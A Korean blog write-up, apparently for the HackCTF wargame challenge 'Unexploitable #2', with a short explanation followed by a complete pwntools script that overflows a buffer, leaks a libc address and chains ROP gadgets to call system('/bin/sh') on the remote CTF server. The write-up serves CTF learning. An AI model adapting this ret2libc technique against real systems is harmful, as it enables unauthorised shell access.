본문 바로가기
Wargame/HackCTF

Unexploitable #2

by Anatis 2021. 3. 31.

Unfexploitable #1의 다은 단계 문제인거 같다.

1. Mitigation

 

2. 문제 확인

문제를 실행시켜보면 unexploitable #1과 다르게 fflush의 문자열을 이용할 수 없는거 같다. IDA로 확인하자

 

3. 풀이

main 함수를 보면 fflush가 없는걸 확인 할 수 있다. gift 함수는 똑같이 주어지기 때문에 1번 문제에서 풀었던 것 처럼

system 함수와 fgets를 이용해 주소를 leak하고 ROP를 하면 된다.

 

exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3029)
e = ELF('./Unexploitable_2')

prdi = 0x0000000000400773
system_plt = e.plt['system']
fgets_got = e.got['fgets']
main = 0x40068C

payload = 'A'*0x18
payload += p64(prdi)
payload += p64(fgets_got)
payload += p64(system_plt)
payload += p64(main)
r.sendlineafter('\n', payload)

print r.recvuntil('1: ')
fgets = u64(r.recv(6).ljust(8, '\x00'))
libc = fgets - 0x6dad0      # fgets offset
system = libc + 0x045390    # system offset
binsh = libc + 0x18cd57     # binsh offset

log.info('fgets: ' + hex(fgets))
log.info('libc: ' + hex(libc))
log.info('system: ' + hex(system))
log.info('binsh: ' + hex(binsh))

payload2 = 'A'*0x18
payload2 += p64(prdi)
payload2 += p64(binsh)
payload2 += p64(system)
r.sendline(payload2)

r.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

ROP  (0) 2021.04.03
Register  (0) 2021.04.03
Unexploitable #1  (0) 2021.03.31
You are silver  (0) 2021.03.26
SysROP  (0) 2021.03.24

댓글